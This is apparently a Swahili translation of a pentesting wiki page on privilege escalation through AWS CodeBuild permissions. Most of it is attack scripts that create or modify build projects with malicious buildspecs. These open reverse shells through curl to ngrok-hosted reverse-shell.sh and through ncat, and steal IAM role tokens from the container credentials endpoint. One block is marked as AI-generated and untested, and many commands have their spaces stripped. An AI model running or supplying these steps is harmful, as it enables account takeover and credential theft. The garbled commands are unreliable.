Mshambulizi mwenye ruhusa za iam:PassRole, codebuild:CreateProject, na codebuild:StartBuild au codebuild:StartBuildBatch ataweza kuongeza marupurupu kwa jukumu lolote la IAM la codebuild kwa kuunda na kuendesha moja.
# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"JSON="{\"name\": \"codebuild-demo-project\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"aws/codebuild/standard:1.0\",\"computeType\": \"BUILD_GENERAL1_SMALL\"},\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"REV_PATH="/tmp/rev.json"printf"$JSON"> $REV_PATH# Create projectawscodebuildcreate-project--cli-input-jsonfile://$REV_PATH# Build itawscodebuildstart-build--project-namecodebuild-demo-project# Wait 3-4 mins until it's executed# Then you can access the logs in the console to find the AWS role token in the output# Delete the projectawscodebuilddelete-project--namecodebuild-demo-project
# Generated by AI, not tested# Create a buildspec.yml file with reverse shell commandecho'version: 0.2phases:build:commands:- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash'>buildspec.yml# Upload the buildspec to the bucket and give access to everyoneawss3cpbuildspec.ymls3:<S3_BUCKET_NAME>/buildspec.yml# Create a new CodeBuild project with the buildspec.yml fileaws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60
# Start a build with the new projectawscodebuildstart-build--project-namereverse-shell-project
Potential Impact: Privesc ya moja kwa moja kwa yoyote AWS Codebuild role.
Katika Codebuild container faili /codebuild/output/tmp/env.sh ina env vars zote zinazohitajika kufikia metadata credentials.
Faili hii ina env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ambayo ina URL path ya kufikia credentials. Itakuwa kitu kama hiki /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Ongeza hiyo kwenye URL http://169.254.170.2/ na utaweza kutoa credentials za role.
Zaidi ya hayo, pia ina env variable ECS_CONTAINER_METADATA_URI ambayo ina URL kamili ya kupata metadata info kuhusu container.
Kama ilivyo katika sehemu iliyopita, ikiwa badala ya kuunda mradi wa build unaweza kuubadilisha, unaweza kuonyesha IAM Role na kuiba token
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"# You need to indicate the name of the project you want to modifyJSON="{\"name\": \"<codebuild-demo-project>\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"aws/codebuild/standard:1.0\",\"computeType\": \"BUILD_GENERAL1_SMALL\"},\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
Athari Zinawezekana: Privesc ya moja kwa moja kwa yoyote AWS Codebuild role.
codebuild:StartBuild | codebuild:StartBuildBatch
Kwa kuwa na moja ya ruhusa hizi tu inatosha kuanzisha build na buildspec mpya na kuiba token ya iam role iliyotolewa kwa mradi:
Kama katika sehemu iliyopita lakini bila ruhusa ya iam:PassRole, unaweza kutumia vibaya ruhusa hizi kubadilisha miradi ya Codebuild iliyopo na kufikia jukumu walilopewa tayari.
REV_PATH="/tmp/codebuild_pwn.json"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"# You need to indicate the name of the project you want to modifyJSON="{\"name\": \"codebuild_lab_3_project\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",\"computeType\": \"BUILD_GENERAL1_SMALL\",\"imagePullCredentialsType\": \"CODEBUILD\"}}"printf"$JSON"> $REV_PATH# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!awscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build-batch--project-namecodebuild-demo-project
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"JSON="{\"name\": \"<codebuild-demo-project>\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",\"computeType\": \"BUILD_GENERAL1_SMALL\",\"imagePullCredentialsType\": \"CODEBUILD\"}}"# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
Potential Impact: Privesc ya moja kwa moja kwa roles za AWS Codebuild zilizoambatanishwa.
SSM
Kuwa na ruhusa za kutosha kuanzisha ssm session inawezekana kuingia ndani ya mradi wa Codebuild unaojengwa.
Mshambulizi anayeweza kuanzisha/kurejesha ujenzi wa mradi maalum wa CodeBuild ambao unahifadhi faili lake la buildspec.yml kwenye ndoo ya S3 ambayo mshambulizi ana haki ya kuandika, anaweza kupata utekelezaji wa amri katika mchakato wa CodeBuild.
Kumbuka: kupandisha daraja ni muhimu tu ikiwa mfanyakazi wa CodeBuild ana jukumu tofauti, ikiwezekana lenye haki zaidi, kuliko la mshambulizi.
awss3cps3://<build-configuration-files-bucket>/buildspec.yml./vim./buildspec.yml# Add the following lines in the "phases > pre_builds > commands" section## - apt-get install nmap -y# - ncat <IP> <PORT> -e /bin/shawss3cp./buildspec.ymls3://<build-configuration-files-bucket>/buildspec.ymlawscodebuildstart-build--project-name<project-name># Wait for the reverse shell :)
Unaweza kutumia kitu kama hiki builspec kupata reverse shell:
Impact: Privesc ya moja kwa moja kwa jukumu linalotumiwa na mfanyakazi wa AWS CodeBuild ambaye kawaida ana ruhusa za juu.
Kumbuka kuwa buildspec inaweza kutarajiwa katika muundo wa zip, kwa hivyo mshambuliaji atalazimika kupakua, kufungua, kurekebisha buildspec.yml kutoka kwenye saraka kuu, kufunga tena na kupakia